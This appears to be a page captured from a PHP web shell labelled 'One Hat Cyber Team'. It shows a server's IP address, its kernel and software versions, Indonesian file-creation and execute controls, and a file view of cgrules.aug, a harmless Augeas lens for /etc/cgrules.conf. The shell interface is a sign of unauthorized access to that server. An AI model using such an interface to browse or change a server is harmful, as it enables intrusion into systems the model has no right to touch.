⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.247
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
augeas
/
lenses
/
dist
/
View File Name :
cgrules.aug
(* Module: cgrules Parses /etc/cgrules.conf Author: Raphael Pinson
Ivana Hutarova Varekova
About: Licence This file is licensed under the LGPL v2+, like the rest of Augeas. About: Lens Usage Sample usage of this lens in augtool: About: Configuration files This lens applies to /etc/cgconfig.conf. See
. *) module Cgrules = autoload xfm (************************************************************************ * Group: USEFUL PRIMITIVES *************************************************************************) (* Group: Separators *) (* Variable: ws *) let ws = del /[ \t]+/ " " (* Group: Comments and empty lines *) (* Variable: eol *) let eol = Util.eol (* Variable: comment *) let comment = Util.comment (* Variable: empty *) let empty = Util.empty (* Group: Generic primitive definitions *) (* Variable: name *) let name = /[^@%# \t\n][^ \t\n]*/ (* Variable: ctrl_key *) let ctrl_key = /[^ \t\n\/]+/ (* Variable: ctrl_value *) let ctrl_value = /[^ \t\n]+/ (************************************************************************ * Group: CONTROLLER *************************************************************************) (* Variable: controller *) let controller = ws . [ key ctrl_key . ws . store ctrl_value ] let more_controller = Util.del_str "%" . controller . eol (************************************************************************ * Group: RECORDS *************************************************************************) let generic_record (lbl:string) (lns:lens) = [ label lbl . lns . controller . eol . more_controller* ] (* Variable: user_record *) let user_record = generic_record "user" (store name) (* Variable: group_record *) let group_record = generic_record "group" (Util.del_str "@" . store name) (************************************************************************ * Group: LENS & FILTER *************************************************************************) (* View: lns The main lens, any amount of *
lines *
*
*
*) let lns = ( empty | comment | user_record | group_record )* let xfm = transform lns (incl "/etc/cgrules.conf")